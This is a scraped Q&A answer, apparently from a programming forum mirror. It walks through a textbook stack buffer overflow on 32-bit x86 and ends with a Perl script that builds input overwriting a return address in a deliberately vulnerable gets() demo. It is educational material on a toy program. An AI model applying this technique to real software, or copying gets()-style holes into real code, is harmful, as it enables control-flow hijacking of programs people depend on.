Note that there are some explanatory texts on larger screens.

plurals
  1. PO
    text
    copied!<p>Here's a guide I wrote for a friend a while back on performing a buffer overflow attack using <code>gets</code>. It goes over how to get the return address and how to use it to write over the old one:</p> <p>Our knowledge of the stack tells us that the return address appears on the stack after the buffer you're trying to overflow. However, how far after the buffer the return address appears depends on the architecture you're using. In order to determine this, first write a simple program and inspect the assembly:</p> <p>C code:</p> <pre><code>void function() { char buffer[4]; } int main() { function(); } </code></pre> <p>Assembly (abridged):</p> <pre><code>function: pushl %ebp movl %esp, %ebp subl $16, %esp leave ret main: leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp pushl %ecx call function ... </code></pre> <p>There are several tools that you can use to inspect the assembly code. First, of course, is compiling straight to assembly output from gcc using gcc -S main.c. This can be difficult to read since there are little to no hints for what code corresponds to the original C code. Additionally, there is a lot of boilerplate code that can be difficult to sift through. Another tool to consider is gdbtui. The benefit of using gdbtui is that you can inspect the assembly source while running the program and manually inspect the stack throughout the execution of the program. However, it has a steep learning curve.</p> <p>The assembly inspection program that I like best is objdump. Running <code>objdump -dS a.out</code> gives the assembly source with the context from the original C source code. Using objdump, on my computer the offset of the return address from the character buffer is 8 bytes.</p> <p>This function <code>function</code> takes the return address and increments 7 to it. The instruction that the return address originally pointed to is 7 bytes in length, so adding 7 makes the return address point to the instruction immediately after the assignment.</p> <p>In the example below, I overwrite the return address to skip the instruction <code>x = 1</code>.</p> <p>simple C program:</p> <pre><code>void function() { char buffer[4]; /* return address is 8 bytes beyond the start of the buffer */ int *ret = buffer + 8; /* assignment instruction we want to skip is 7 bytes long */ (*ret) += 7; } int main() { int x = 0; function(); x = 1; printf("%d\n",x); } </code></pre> <p>Main function (x = 1 at 80483af is seven bytes long):</p> <pre><code>8048392: 8d4c2404 lea 0x4(%esp),%ecx 8048396: 83e4f0 and $0xfffffff0,%esp 8048399: ff71fc pushl -0x4(%ecx) 804839c: 55 push %ebp 804839d: 89e5 mov %esp,%ebp 804839f: 51 push %ecx 80483a0: 83ec24 sub $0x24,%esp 80483a3: c745f800000000 movl $0x0,-0x8(%ebp) 80483aa: e8c5ffffff call 8048374 &lt;function&gt; 80483af: c745f801000000 movl $0x1,-0x8(%ebp) 80483b6: 8b45f8 mov -0x8(%ebp),%eax 80483b9: 89442404 mov %eax,0x4(%esp) 80483bd: c70424a0840408 movl $0x80484a0,(%esp) 80483c4: e80fffffff call 80482d8 &lt;printf@plt&gt; 80483c9: 83c424 add $0x24,%esp 80483cc: 59 pop %ecx 80483cd: 5d pop %ebp </code></pre> <p>We know where the return address is and we have demonstrated that changing it can affect the code that is run. A buffer overflow can do the same thing by using <code>gets</code> and inputing the right character string so that the return address is overwritten with a new address.</p> <p>In a new example below we have a function <code>function</code> which has a buffer filled using gets. We also have a function <code>uncalled</code> which never gets called. With the correct input, we can run uncalled.</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; void uncalled() { puts("uh oh!"); exit(1); } void function() { char buffer[4]; gets(buffer); } int main() { function(); puts("program secure"); } </code></pre> <p>To run <code>uncalled</code>, inspect the executable using <code>objdump</code> or similar to find the address of the entry point of <code>uncalled</code>. Then append the address to the input buffer in the right place so that it overwrites the old return address. If your computer is little-endian (x86, etc.) , you need to swap the endianness of the address.</p> <p>In order to do this correctly, I have a simple perl script below, which generates the input that will cause the buffer overflow that will overwrite the return address. It takes two arguments, first it takes the new return address, and second it takes the distance (in bytes) from the beginning of the buffer to the return address location.</p> <pre><code>#!/usr/bin/perl print "x"x@ARGV[1]; # fill the buffer print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input print "\n"; # new line to end gets </code></pre>
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload